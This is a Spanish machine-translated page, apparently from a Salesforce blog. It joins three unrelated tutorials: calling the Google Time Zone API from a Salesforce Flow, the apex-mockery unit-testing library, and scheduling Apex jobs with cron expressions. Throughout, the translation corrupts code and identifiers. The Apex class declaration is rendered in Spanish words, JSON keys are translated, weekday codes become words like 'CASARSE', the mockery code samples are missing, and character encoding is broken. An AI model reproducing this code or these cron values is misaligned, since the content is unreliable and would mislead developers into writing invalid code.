La API de zona horaria de Google es un servicio ofrecido por Google como parte de su plataforma Google Maps. La API proporciona datos de zona horaria para cualquier ubicaci贸n en todo el mundo en funci贸n de las coordenadas de latitud y longitud. Este servicio puede ser particularmente 煤til para los desarrolladores que necesitan ajustar la comunicaci贸n de acuerdo con la ubicaci贸n geogr谩fica de un cliente potencial o contacto o para empresas que operan en diferentes zonas horarias.

La API de zona horaria proporciona la siguiente informaci贸n:

  • El ID de la zona horaria , seg煤n lo define la base de datos de zonas horarias de la IANA (por ejemplo, America/New_York ).
  • El nombre de la zona horaria (por ejemplo, hora de verano del este ).
  • La diferencia horaria con respecto a la hora universal coordinada (UTC) sin tener en cuenta el horario de verano (rawOffset).
  • El desfase horario debido al horario de verano (dstOffset).

Tenga en cuenta que la API de zona horaria de Google est谩 sujeta a cargos, por lo que es importante comprender las implicaciones de costos antes de implementarla.

C贸mo funciona la API de zona horaria de Google?

La API de zona horaria de Google funciona tomando coordenadas de latitud y longitud y devolviendo datos de zona horaria en formato JSON. Aqu铆 hay un ejemplo b谩sico de c贸mo usarlo.

La siguiente solicitud HTTP GET obtiene informaci贸n de zona horaria para una ubicaci贸n en la latitud 40.712776 y longitud -74.005974 (ciudad de Nueva York), y asume que est谩 realizando la solicitud en una determinada marca de tiempo (marca de tiempo UNIX).

 https://maps.googleapis.com/maps/api/timezone/json?location=40.712776,-74.005974&timestamp=1458000000&key=YOUR_API_KEY

En la URL de solicitud anterior, reemplace YOUR_API_KEY con su clave API real.

Aqu铆 hay una respuesta de muestra en formato JSON que la API podr铆a devolver:


{ "dstOffset": 3600, "compensaci贸n sin procesar": -18000, "estado": "OK", "timeZoneId": "Am茅rica/Nueva_York", "timeZoneName" : "Hora de verano del Este"
}

La respuesta incluye la siguiente informaci贸n:

  1. dstOffset : La compensaci贸n del horario de verano en segundos. Ser谩 cero si la zona horaria no est谩 en el horario de verano durante la marca de tiempo especificada.
  2. rawOffset : el desplazamiento de UTC (sin contar el horario de verano) en segundos.
  3. estado : una cadena que indica el estado de la solicitud. 鈥淥K鈥 significa que la solicitud fue exitosa.
  4. timeZoneId : una cadena que contiene el ID "tz" de la zona horaria (por ejemplo, "Am茅rica/Nueva_York").
  5. timeZoneName : una cadena que contiene el nombre de forma larga de la zona horaria (por ejemplo, "hora de verano del este").

Recuerde, en la URL de solicitud, se requiere el par谩metro de marca de tiempo y el par谩metro de ubicaci贸n espera coordenadas de latitud y longitud.

  1. Marca de tiempo : el tiempo deseado en segundos desde la medianoche del 1 de enero de 1970 UTC. La API de zona horaria utiliza la marca de tiempo para determinar si se debe aplicar o no el horario de verano, seg煤n la zona horaria de la ubicaci贸n.
  2. Ubicaci贸n : una tupla de latitud, longitud separada por comas, ubicaci贸n = 40.712776, -74.005974, que representa la ubicaci贸n para buscar.

Adem谩s, no olvide incluir su clave API.

Beneficios de usar la API de zona horaria de Google

La API de zona horaria de Google ofrece una serie de beneficios significativos, especialmente para desarrolladores y empresas que necesitan operar en diferentes zonas horarias. Estos son algunos de los beneficios clave:

  1. Precisi贸n : la API de zona horaria de Google proporciona datos de zona horaria precisos para cualquier ubicaci贸n en todo el mundo. Tiene en cuenta tanto la zona horaria 'sin procesar' como el horario de verano, lo que garantiza que siempre tenga la hora local correcta.
  2. Facilidad de uso : la API es f谩cil de usar y solo requiere la latitud y la longitud como entradas. Devuelve datos en un formato JSON estructurado, que es f谩cil de analizar y usar en varias aplicaciones.
  3. Cobertura global : la API proporciona datos de zona horaria para ubicaciones en todo el mundo, lo que la hace 煤til para empresas globales y aplicaciones con bases de usuarios internacionales.
  4. Confiabilidad : como servicio proporcionado por Google, es altamente confiable, lo que garantiza que tenga acceso constante a los datos de la zona horaria cuando los necesite.
  5. Integraci贸n : se puede integrar en una variedad de aplicaciones y plataformas, incluidas aplicaciones m贸viles, servicios web y plataformas de CRM como Salesforce. Esto permite funcionalidades como la programaci贸n de comunicaciones en diferentes franjas horarias, etc.
  6. Informaci贸n actualizada : Google actualiza continuamente sus bases de datos, lo que garantiza que los datos devueltos por la API de zona horaria, como los cambios de horario de verano, est茅n siempre actualizados.

Al aprovechar estos beneficios, las empresas pueden mejorar la experiencia del cliente, aumentar la eficiencia operativa y garantizar un registro de datos preciso, entre otras ventajas.

Antes de comenzar a usar la API de zona horaria, necesita un proyecto con una cuenta de facturaci贸n y la API de zona horaria habilitada. Aqu铆 hay una gu铆a paso a paso para configurar su proyecto de Google Cloud y habilitar la API de zona horaria:

Paso 1: crea o selecciona tu proyecto

  1. Navegue a Google Cloud Console .
  2. Si ha creado un proyecto anteriormente, puede seleccionarlo de la lista desplegable en la parte superior. De lo contrario, haga clic en Nuevo proyecto en la parte superior derecha.
  3. Asigne un nombre a su proyecto y, opcionalmente, tambi茅n puede editar el ID del proyecto.
  4. Haga clic en Crear para crear el proyecto.

Paso 2: configurar una cuenta de facturaci贸n

Debe vincular una cuenta de facturaci贸n a su proyecto para usar la API de zona horaria de Google. As铆 es c贸mo:

  1. En Google Cloud Console, abra el men煤 del lado izquierdo de la consola y haga clic en Facturaci贸n .
  2. Si tiene una o m谩s cuentas de facturaci贸n, elija una cuenta y as贸ciela con su proyecto. De lo contrario, haga clic en Crear cuenta , complete el formulario para crear una nueva cuenta de facturaci贸n y luego as贸ciela con su proyecto.

Paso 3: habilite la API de zona horaria

Una vez que haya configurado su proyecto y su cuenta de facturaci贸n, puede habilitar la API de zona horaria.

  1. En Google Cloud Console, abra el men煤 del lado izquierdo de la consola y vaya a API y servicios | biblioteca
  2. En la biblioteca de API, busque API de zona horaria y selecci贸nela.
  3. En la p谩gina de la API de zona horaria, haga clic en Habilitar .

Paso 4: Genere su clave API

Finalmente, necesita una clave de API para autenticar sus solicitudes en la API de zona horaria.

  1. En Google Cloud Console, abra el men煤 del lado izquierdo de la consola y vaya a API y servicios | Cartas credenciales.
  2. Haga clic en el bot贸n + CREAR CREDENCIALES en la parte superior y seleccione Clave API .
  3. Su nueva clave de API se crear谩 y se mostrar谩. C贸pielo y gu谩rdelo de forma segura. Necesitar谩 esta clave para realizar solicitudes a la API de zona horaria.

Ahora, su proyecto de Google Cloud est谩 todo configurado y puede comenzar a usar la API de zona horaria de Google.

馃憠 Si bien la API de zona horaria es compatible con OAuth 2.0 y la cuenta de servicio para la autenticaci贸n, esta gu铆a se enfoca en el m茅todo de clave de API m谩s simple por razones de brevedad. Si necesita un m茅todo de autenticaci贸n m谩s seguro o complejo, consulte la documentaci贸n de autenticaci贸n oficial de Google.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Si bien esto se puede resolver utilizando varias herramientas de automatizaci贸n como Apex Trigger y otras, utilizaremos Salesforce Flow y la funci贸n de flujo HTTP Callout (GET) recientemente introducida .

HTTP Callout extrae o env铆a datos entre la base de datos de Salesforce y un sistema externo a trav茅s de Flow Builder sin usar c贸digo. Puede configurar integraciones directas seg煤n sea necesario sin tener que trabajar con un desarrollador o llamar a una herramienta de middleware, como Mulesoft. Despu茅s de configurar la acci贸n de llamada HTTP en un flujo, Flow Builder genera autom谩ticamente un registro de servicio externo , una acci贸n invocable y una clase de Apex que puede usar para crear un recurso definido por Apex para flujos. A continuaci贸n, puede utilizar la salida de datos de la solicitud de la API como entrada en Flow Builder y en Salesforce.

Puede usar HTTP Callout para conectar un flujo a una variedad de API.

  • Obtener informaci贸n de direcciones usando una API de mapa
  • Obt茅n las condiciones meteorol贸gicas con una API de servicios meteorol贸gicos
  • Genere el c贸digo de barras con una API de servicio de c贸digo de barras
  • Obtenga informaci贸n de autorizaci贸n de pago con una API de procesamiento de pagos
  • y mucho m谩s

Antes de discutir la soluci贸n, perm铆tame mostrarle un diagrama del proceso a un alto nivel. Dedique unos minutos a revisar el siguiente diagrama de flujo para comprenderlo.

Comencemos a construir este proceso de automatizaci贸n.

Pr谩ctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito empresarial de Jestilla mediante Record-Triggered After-Save Flow . Debemos:

  1. Cree campos personalizados en el cliente potencial para almacenar la respuesta
  2. Crear una credencial con nombre
  3. Flujo de fuerza de ventas
    1. Definir propiedades de flujo para el flujo desencadenado por registro
    2. Agregue una f贸rmula para calcular la marca de tiempo
    3. Configurar una llamada HTTP GET para la API de zona horaria
    4. Agregue un elemento de decisi贸n para verificar el c贸digo de respuesta
    5. Agregue un elemento Actualizar registros para actualizar el prospecto
    6. Agregue un elemento Crear registros para crear una tarea para que el propietario del cliente potencial maneje la respuesta de error

Paso 1: Cree campos personalizados en el objeto principal para almacenar la respuesta

En este paso, hemos establecido campos personalizados dentro del objeto principal. Estos servir谩n como repositorios para los datos de respuesta de la API de zona horaria de Google.

Etiqueta de campo Nombre de API de campo Tipo de datos
dstOffset dstOffset __c N煤mero (18,0)
rawOffset rawOffset__c N煤mero (18,0)
Posici贸n actual Posici贸n_actual__c Geolocalizaci贸n
Identificaci贸n de zona horaria Time_Zone_Id__c Texto (255)
Nombre de zona horaria
Nombre_de_la_zona_horaria__c Texto (255)

Paso 2: crear una credencial con nombre

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, ingrese Credenciales con nombre y luego seleccione Credenciales con nombre .
  3. Haga clic en Nuevo legado .
  4. Rellene la p谩gina con la URL y los par谩metros de autenticaci贸n del extremo de la llamada.
  5. Haga clic en Guardar .

Paso 3.1: Definir propiedades de flujo

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione la opci贸n Flujo activado por registro , haga clic en Crear
    1. Objeto: Plomo
    2. Activar el flujo cuando: se crea un registro
    3. Establecer condiciones de entrada: se cumplen todas las condiciones (Y)
    4. Fila 1:
      1. Campo : Posici贸n_Actual__Latitud__s
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Falso}
    5. Haga clic en + Agregar condici贸n
    6. Fila 2:
      1. Campo : Posici贸n_Actual__Longitud__s
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Falso}
    7. Optimizar el flujo para : acci贸n y registros relacionados
    8. Elija la opci贸n para incluir una ruta de ejecuci贸n as铆ncrona para acceder a un sistema externo despu茅s de que la transacci贸n original para el registro de activaci贸n se confirme con 茅xito .
  5. Haga clic en Listo.

Paso 3.2: f贸rmula para calcular la marca de tiempo

  1. En Caja de herramientas , seleccione Administrador y luego haga clic en Nuevo recurso para calcular los segundos desde la 茅poca de Unix (1 de enero de 1970, 00:00:00).
  2. Ingrese la siguiente informaci贸n :
    1. Tipo de recurso : F贸rmula
    2. Nombre de API : forN_Timestamp
    3. Tipo de datos : N煤mero
    4. Lugares decimales : 0
    5. F贸rmula : RONDA((AHORA() 鈥 FECHAHORAVALUE(鈥1970-01-01 00:00:00鈥)) * 24 * 60 * 60, 0)
  3. Haga clic en Listo.

Paso 3.3: configurar una acci贸n de llamada HTTP GET

HTTP Callout lo gu铆a a trav茅s de la introducci贸n de los detalles sobre el servicio HTTP basado en web o el punto final de la API REST al que se est谩 conectando. Despu茅s de completar la configuraci贸n, invoca la acci贸n en un flujo.

  1. En el nodo Ejecutar asincr贸nicamente , seleccione Acci贸n .
  2. Haga clic en + Crear llamada HTTP .
  3. Configure el servicio externo que conecta Salesforce con la API basada en HTTP.
    1. Introduzca un Nombre para el servicio externo.
    2. Seleccione la credencial con nombre que cre贸 en el paso 2 .
    3. Haga clic en Siguiente .
  4. El siguiente paso es configurar la acci贸n invocable que puede usar en Flow Builder o en Salesforce.
    1. Para Etiqueta , ingrese la acci贸n que realiza la llamada.
    2. M茅todo : OBTENER
    3. Agregue el extremo de la URL para la solicitud.
      1. Ruta URL : /maps/api/timezone/json
    4. Agregue claves de par谩metros de consulta si la API a la que est谩 llamando las tiene. Cuando usa esta acci贸n en un flujo, ingresa valores para las claves definidas.
      1. Haga clic en Agregar clave
        1. Clave : ubicaci贸n
        2. Tipo de datos : cadena
        3. Requerido : Verdadero
      2. Haga clic en Agregar clave
        1. Clave : marca de tiempo
        2. Tipo de datos : entero
        3. Requerido : Verdadero
      3. Haga clic en Agregar clave
        1. Clave: clave
        2. Tipo de datos : cadena
        3. Requerido : Verdadero
  5. Proporcione un cuerpo de respuesta de API de muestra. Salesforce genera una estructura de datos a partir de la respuesta de muestra.
    1. Vaya a la secci贸n Proporcione una respuesta de muestra .
    2. Haga clic en Nuevo .
    3. Pegue una respuesta JSON de muestra .
       { "timeZoneName": "cadena de muestra", "compensaci贸n sin procesar": 1, "timeZoneId": "cadena de muestra", "errorMessage": "cadena de muestra", "dstOffset": 1, "estado": "cadena de muestra"
      }
Continue reading

Presentamos apex-mockery, una biblioteca de simulaci贸n de pruebas unitarias 鈽侊笍

Presentamos apex-mockery, una biblioteca de simulaci贸n de pruebas unitarias 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Presentamos apex-mockery, una biblioteca de simulaci贸n de pruebas unitarias | Blog de desarrolladores de Salesforce

Escribir pruebas s贸lidas es crucial para crear aplicaciones comerciales confiables y eficientes. En esta publicaci贸n, haremos un repaso de las pruebas unitarias y presentaremos apex-mockery , una biblioteca liviana de pruebas unitarias de Apex que lo ayuda a escribir pruebas unitarias de Apex verdaderamente desacopladas usando simulacros y aserciones. Compartiremos ejemplos de c贸digo para ayudarlo a comprender c贸mo puede usar la biblioteca para crear pruebas unitarias f谩ciles de entender y de ejecuci贸n r谩pida.

Un repaso a las pruebas unitarias

Antes de echar un vistazo a la biblioteca de Apex-Mockery, demos un paso atr谩s y analicemos algunos de los conceptos b谩sicos de las pruebas unitarias desde un punto de vista independiente de la tecnolog铆a. Luego, veremos Apex y discutiremos por qu茅 la mayor铆a de nosotros deber铆a escribir pruebas unitarias en lugar de pruebas de integraci贸n.

Las pruebas unitarias est谩n en la base de la pir谩mide de prueba.

La ingenier铆a de software abarca m煤ltiples tipos de pruebas: unidad, integraci贸n, servicio, interfaz de usuario funcional, de extremo a extremo, aceptaci贸n del usuario y m谩s. Como dice Martin Fowler , podemos representar un buen equilibrio entre estos tipos de pruebas dentro del alcance de un proyecto represent谩ndolos como una pir谩mide.

Las etiquetas (tipos de prueba) pueden cambiar, pero el principio clave aqu铆 es que las pruebas que se ejecutan r谩pido y con frecuencia deben estar en la parte inferior de la pir谩mide. Estos son los m谩s f谩ciles de implementar y mantener (por lo que cuestan menos). Luego, a medida que subimos a la cima, aumentamos la complejidad y el costo: las pruebas se ejecutan m谩s lentamente y se vuelven m谩s dif铆ciles de implementar y mantener.

En el contexto de esta publicaci贸n y en aras de la brevedad, nos centraremos 煤nicamente en las pruebas unitarias. Estos son los primeros que debe implementar en cualquier proyecto, y deben ser una prioridad en su estrategia de prueba.

Por definici贸n, las pruebas unitarias est谩n destinadas a probar la menor cantidad de c贸digo (una unidad) de un proyecto. Las pruebas unitarias solo deben basarse en la l贸gica pura y estar completamente desvinculadas de sus dependencias (otras clases) y l铆mites (otros servicios, como almacenamiento de datos o servicios web). Las pruebas unitarias deben ejecutarse r谩pido; no requieren una configuraci贸n de prueba particular, como la inserci贸n de datos en la base de datos, y requieren que simule las dependencias de la clase bajo prueba.

Escribir pruebas unitarias de Apex en lugar de pruebas de integraci贸n

Apex se beneficia de una estrecha integraci贸n con la Plataforma de Salesforce y, si bien esta caracter铆stica es excelente para cosas como acceder r谩pida y f谩cilmente a la base de datos, difumina las l铆neas de separaci贸n de preocupaciones entre la l贸gica y los servicios. Como consecuencia, es muy f谩cil escribir pruebas de integraci贸n de Apex en lugar de pruebas unitarias. Por ejemplo, el c贸digo de Apex a menudo se prueba junto con la base de datos utilizando declaraciones @TestSetup y DML. Si bien estas pruebas de integraci贸n ayudan a lograr la cobertura, se basan en la base de datos y, por lo tanto, requieren m谩s tiempo para ejecutarse que las pruebas unitarias "puras".

Como comparti贸 Mitch Spano en su presentaci贸n de pruebas unitarias puras de Apex , la mayor铆a de las veces, no es necesario confiar en las pruebas de integraci贸n para probar capas de software de alto nivel, como controladores LWC, servicios y capas de aplicaci贸n. Gracias a la API de Stub de Apex lanzada en Spring '17, los desarrolladores pueden romper con esas dependencias en el contexto de las pruebas mediante la creaci贸n de su propia biblioteca/marco de pruebas unitarias o el uso de uno existente como apex-mockery.

Presentamos la burla del 谩pice

Como parte del trabajo de ingenier铆a de Salesforce, est谩bamos desarrollando un paquete administrado internamente y necesit谩bamos una biblioteca para escribir pruebas unitarias. Quer铆amos escribir pasos simples de "arreglar" (como en el patr贸n Arrange-Act-Assert ), escribir afirmaciones comprensibles y burlarnos de nuestras dependencias. Buscamos en todo el ecosistema una biblioteca f谩cil de leer y bien probada que pudi茅ramos usar para crear nuestro producto, pero no encontramos una combinaci贸n perfecta, por lo que decidimos escribir la nuestra. Est谩bamos tan contentos con la implementaci贸n final de la biblioteca que decidimos lanzarla como c贸digo abierto con el nombre apex-mockery .

La biblioteca apex-mockery proporciona una biblioteca de simulaci贸n simple, liviana y f谩cil de leer para Apex creada con la API Stub. La biblioteca est谩 dise帽ada para que sea f谩cil de usar y brinde la mejor experiencia de desarrollador posible al generar simulacros y ap茅ndices, configurar esp铆as y escribir aserciones.

Lo guiaremos a trav茅s de un escenario de muestra para que pueda comprender el poder de la biblioteca con algunos ejemplos pr谩cticos. Luego, le mostraremos c贸mo puede escribir pruebas para este proyecto de muestra en tres pasos:

  1. Crear simulacros y esp铆as de m茅todos.
  2. M茅todos de espionaje de trozo
  3. escribir afirmaciones

Ejemplo de escenario: pedidos de panader铆a y entrega

Considere el siguiente escenario de ejemplo: una panader铆a toma pedidos de pasteler铆a y planifica las entregas utilizando un servicio dedicado. Los 煤nicos datos que estamos considerando en el contexto de este escenario son los nombres de los pasteles y su fecha de entrega.

A continuaci贸n se muestra la implementaci贸n b谩sica de nuestro escenario de panader铆a (el c贸digo completo est谩 disponible en el repositorio del proyecto ).

Pasteler铆a.cls

DeliveryService.cls

DeliveryServiceImpl.cls

Confirmaci贸n de pedido.cls

Panader铆a.cls

Ahora que hemos echado un vistazo a nuestro proyecto de muestra, echemos un vistazo a c贸mo podr铆amos escribir pruebas para el m茅todo Bakery.order .

Paso 1: crea simulacros y esp铆as de m茅todos

Para funcionar, la clase Bakery necesita que se pase una instancia DeliveryService en su constructor. En un contexto de producci贸n, el servicio se proporciona con una instancia concreta DeliveryServiceImpl de la siguiente manera:

Sin embargo, en el contexto de las pruebas unitarias, no debe usar una instancia de servicio real para garantizar el desacoplamiento. En otras palabras, DelivertServiceImpl se probar谩 unitariamente por s铆 solo, por lo que no es necesario que pruebe las dos clases integradas juntas. Puede reemplazar la dependencia del servicio con un simulacro que implemente la interfaz DeliverService .

As铆 es como puede crear e inyectar f谩cilmente un simulacro de este tipo, gracias a apex-mockery:

Luego, su prueba necesita un esp铆a, para que pueda controlar el comportamiento del m茅todo planDelivery y ejecutar aserciones en sus llamadas.

Ahora que tiene un servicio simulado y un esp铆a en su m茅todo planDelivery , veamos c贸mo puede configurar su esp铆a y ejecutar aserciones en 茅l.

Paso 2: m茅todos de espionaje de trozo

Una vez que tenga una instancia simulada, puede controlar c贸mo se comportan sus m茅todos controlando sus valores de retorno y lanzando excepciones.

Utilice los m茅todos returns y throwsException para especificar un comportamiento predeterminado que se aplica a todas las llamadas a los m茅todos auxiliares. Luego, si es necesario, usa una combinaci贸n de whenCalledWith(<args>).thenReturn y whenCalledWith(<args>).thenThrow para aplicar comportamientos espec铆ficos a las llamadas a m茅todos que coincidan con los argumentos especificados.

Durante la ejecuci贸n de la prueba, apex-mockery comienza buscando una coincidencia en la configuraci贸n proporcionada por whenCalledWith . Si no se encuentra ninguno, vuelve a la configuraci贸n predeterminada ( returns o throwException ).

Veamos algunas situaciones comunes de configuraci贸n de stubs (ver m谩s recetas ).

  • Devolver algo cada vez que se llame planDelivery
  • Lanza una excepci贸n cada vez que se llama planDelivery
  • Devuelve algo cuando se llama con un argumento espec铆fico
  • Lanza una excepci贸n cuando se llama con un argumento espec铆fico

Ahora que sabe c贸mo impulsar el comportamiento de su simulacro, puede agregar aserciones para probar su c贸digo.

Paso 3: Escribe afirmaciones

apex-mockery proporciona una API de afirmaciones fluidas. Tan pronto como comience su expectativa con Expect.that(mySpy) , tendr谩 acceso a varios m茅todos de afirmaci贸n. La biblioteca viene con una serie de afirmaciones de comportamiento f谩ciles de usar, como:

Si los comparadores de argumentos b谩sicos no son suficientes para sus necesidades, tambi茅n puede crear sus propios comparadores de argumentos personalizados .

Uniendo el ejemplo completo

Ahora que vimos los pasos individuales, terminemos y echemos un vistazo a nuestra prueba para el m茅todo Bakery.order . Observe c贸mo puede usar aserciones de burla de Apex, junto con las aserciones est谩ndar de Apex de la clase system.Assert , en sus pruebas.

palabras de cierre

Esto concluye nuestro recorrido por las pruebas unitarias y la biblioteca de Apex-Mockery. Aprendi贸 c贸mo las pruebas unitarias desacopladas son m谩s f谩ciles de escribir y ejecutar mucho m谩s r谩pido. Tener pruebas r谩pidas acorta el ciclo de retroalimentaci贸n del ciclo de vida del desarrollo, reduce la duraci贸n de la ejecuci贸n del flujo de trabajo de CI y acelera las implementaciones. Estos factores permiten a los desarrolladores implementar y ejecutar pruebas con frecuencia, mejorando as铆 la calidad.

apex-mockery lo ayuda a dirigir su proyecto en esta direcci贸n. Consulte el repositorio del proyecto para comenzar. Encontrar谩 la documentaci贸n de la biblioteca con las opciones de instrucciones de instalaci贸n (instalaci贸n de fuente o paquete desbloqueado), algunas recetas de muestra y una gu铆a de migraci贸n. 隆Feliz prueba unitaria!

Sobre los autores

Ludovic Meurillon es ingeniero de software en el equipo de Service Cloud en Grenoble, Francia. Empuj贸 el c贸digo a la producci贸n durante a帽os, disfruta eliminando m谩s l铆neas de c贸digo de las que agrega y prefiere la programaci贸n en pares sobre las revisiones de c贸digo y los productos de trabajo sobre el dise帽o perfecto. S铆galo en Twitter @LudoMeurillon o consulte sus proyectos de GitHub @ludomeurillon .

S茅bastien Colladon es CTA e ingeniero de software en el equipo de Service Cloud en Par铆s, Francia. Le encanta contribuir a hacer del ecosistema de Salesforce un lugar mejor y disfruta aprender y trabajar con otros. Consulte sus proyectos de GitHub @ scolladon .

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido t茅cnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, rob贸tica y VR. S铆galo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Dominar el arte de programar clases por lotes en Apex

Dominar el arte de programar clases por lotes en Apex

脷ltima actualizaci贸n el 15 de junio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo se puede utilizar el m茅todo System.schedule() para programar un trabajo de Apex Batch?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Configurar trabajo programado a trav茅s de la configuraci贸n de Salesforce
  • Comprender la funci贸n y el significado del m茅todo System.schedule().
  • Aprenda paso a paso c贸mo programar un trabajo de Apex Batch utilizando el m茅todo System.schedule().
  • Explore ejemplos pr谩cticos y casos de uso donde se puede implementar el m茅todo System.schedule().
  • y mucho m谩s

馃憠 En el pasado escrib铆 algunos art铆culos sobre Apex . 驴Por qu茅 no echarles un vistazo mientras est谩s en ello?

  1. Calcular la cobertura general del c贸digo en Salesforce
  2. Comprobar si una cadena es nula, vac铆a o en blanco en Apex
  3. Establecer fecha de creaci贸n para sObject de clase de prueba en Apex

Isabella Stewart trabaja como administradora de Salesforce en Gurukul On Cloud (GoC). Aunque es relativamente nueva en la programaci贸n de Apex, est谩 ansiosa por explorar diferentes m茅todos para programar clases por lotes en Salesforce y ampliar su conocimiento en esta 谩rea.

驴Qu茅 es un trabajo programado?

En Salesforce, un trabajo programado se refiere a una funci贸n que permite a los administradores y desarrolladores programar la ejecuci贸n autom谩tica de clases de Batch en momentos o intervalos espec铆ficos.

Los trabajos programados en Salesforce generalmente se usan para realizar varias acciones, como actualizaciones de datos, procesamiento de registros, env铆o de notificaciones por correo electr贸nico, generaci贸n de archivos PDF e integraci贸n con sistemas externos. Pueden ser particularmente 煤tiles para tareas que deben realizarse a intervalos regulares, como por hora, d铆a, semana o mes.

馃憠 Para programar una clase de Apex para que se ejecute a intervalos regulares, primero escriba una clase de Apex que implemente la interfaz Schedulable proporcionada por Salesforce.


la clase global ScheduleAccountSync implementa Programable { ejecuci贸n de vac铆o global (Contexto programable SC) { AccounSync ASync = new AccounSync(); }
}

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Para crear un trabajo programado en Salesforce, puede usar Apex Scheduler a trav茅s de la configuraci贸n de Salesforce o el m茅todo System.schedule desde Developer Console (Ejecutar an贸nimo).

Programar trabajos con el programador de Apex

Salesforce Apex Scheduler es una funci贸n de la plataforma de Salesforce que le permite programar la ejecuci贸n de clases de Apex que implementa la interfaz programable en momentos espec铆ficos, como diario, semanal o mensual.
Para programar una clase con Apex Scheduler, siga los pasos que se describen a continuaci贸n:
  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Clases de Apex .
  3. Seleccione Clases de Apex y luego haga clic en Programar Apex .
  4. Ingrese la siguiente informacion:
    1. Nombre : Sincronizar cuenta con SAP
    2. Clase de Apex : ScheduleAccountSync
    3. Frecuencia : Para configurar como un trabajo diario, elija la opci贸n Semanal y luego seleccione todos los d铆as de la semana.
    4. Inicio : la fecha y la hora en que comenz贸 la iteraci贸n m谩s reciente del trabajo programado.
    5. Fin : la fecha y la hora en que el trabajo termin贸 o terminar谩.
    6. Hora de inicio preferida : la fecha y la hora en que est谩 programada la ejecuci贸n del trabajo
  5. Haga clic en Guardar .

馃憠 Puede monitorear el progreso del trabajo en la p谩gina Todos los trabajos programados .

Una limitaci贸n clave de Apex Scheduler radica en su incapacidad para ejecutar una tarea cada pocos minutos, cada seis horas o en d铆as espec铆ficos, como el primer lunes o el 煤ltimo d铆a h谩bil del mes. Para abordar esto, podemos utilizar el m茅todo System.schedule a trav茅s de la consola del desarrollador, que permite escenarios de programaci贸n m谩s complejos.

Programar trabajos usando el m茅todo System.Schedule

Cuando una clase se implementa con la interfaz Schedulable , se puede usar el m茅todo System.schedule para ejecutarla. En particular, el programador opera a nivel del sistema, lo que garantiza que todas las clases se ejecuten independientemente de los permisos de los usuarios individuales.

El m茅todo System.schedule toma tres par谩metros: el nombre del trabajo, una expresi贸n que indica la hora y la fecha programadas para la ejecuci贸n del trabajo y el nombre de la clase. La estructura de la expresi贸n cron es la siguiente:


Segundos Minutos Horas D铆a_de_mes Mes D铆a_de_semana Opcional_a帽o

Los siguientes son los valores de la expresi贸n:

Nombre Valores Caracteres especiales
Segundos 0鈥59 Ninguno
Minutos 0鈥59 Ninguno
Horas 0鈥23 , 鈥 * /
Dia del mes 1鈥31 , 鈥 * ? / LW
Mes 1鈥12 o lo siguiente:

  • ENE
  • FEB
  • MAR
  • ABR
  • PUEDE
  • JUN
  • JUL
  • AGO
  • SEP
  • OCT
  • NOV
  • DIC
, 鈥 * /
D铆a de la semana 1鈥7 o lo siguiente:

  • SOL
  • LUN
  • MAR
  • CASARSE
  • JUE
  • VIE
  • SE SENT脫
, 鈥 * ? / L #
a帽o_opcional nulo o 1970鈥2099 , 鈥 * /

Lea esta gu铆a para desarrolladores de Salesforce para obtener m谩s informaci贸n sobre el m茅todo System.Schedule. No es posible actualizar los trabajos programados. Debe eliminar el trabajo existente y luego programarlo nuevamente.

Por ejemplo, si desea ejecutar la clase de Apex ScheduledAccountSync cada hora, espec铆ficamente cinco minutos despu茅s de cada hora, ejecute la siguiente declaraci贸n a trav茅s de Ejecutar de forma an贸nima en Developer Console.


System.schedule('AccountSyncJob', '0 5 * * * ?', new ScheduleAccountSync());
//AccountSyncJob = Nombre del trabajo
//0 5 * * * ? = Expresi贸n cron
//ScheduleAccountSync = Clase de Apex con interfaz programable

Tambi茅n puede usar CronMaker , una aplicaci贸n simple que lo ayuda a crear expresiones cron para su escenario.

Aqu铆 hay varios ejemplos que ilustran c贸mo utilizar la expresi贸n cron.

Programe un trabajo para ejecutar cada seis horas de lunes a viernes

Para programar un trabajo para que se ejecute cada seis horas de lunes a viernes, ejecute la siguiente expresi贸n cron:


System.schedule('AccountSyncJobWeekDayPerSixHour', '0 0 0,6,12,18 ? * MON-FRI', new ScheduleAccountSync());

Programar un trabajo para que se ejecute cada cuatro horas diariamente

Para programar un trabajo para que se ejecute cada cuatro horas diariamente, ejecute la siguiente expresi贸n cron:


System.schedule('AccountSyncJobEveryFourHour', '0 0 0/4 * * ? *', new ScheduleAccountSync());

Programe un trabajo que se ejecute cada hora diariamente

Para programar un trabajo que se ejecuta cada hora a lo largo de cada d铆a, utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJobEveryHour', '0 0 0/1 * * ? *', new ScheduleAccountSync());

Programe un trabajo para que se ejecute cada 30 minutos diariamente

Para programar un trabajo que se ejecuta cada media hora todos los d铆as, utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJob0', '0 0 * * * ? *', new ScheduleAccountSync());
System.schedule('AccountSyncJob30', '0 30 * * * ? *', new ScheduleAccountSync());

Programe un trabajo para que se ejecute una vez al d铆a a las 10:00 p. m.

Para programar un trabajo que se ejecute una vez al d铆a a las 22:00, utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJobOnceInADay', '0 0 22 * * ?', new ScheduleAccountSync());

Programe un trabajo para ejecutar el viernes y el s谩bado a las 11:00 p. m.

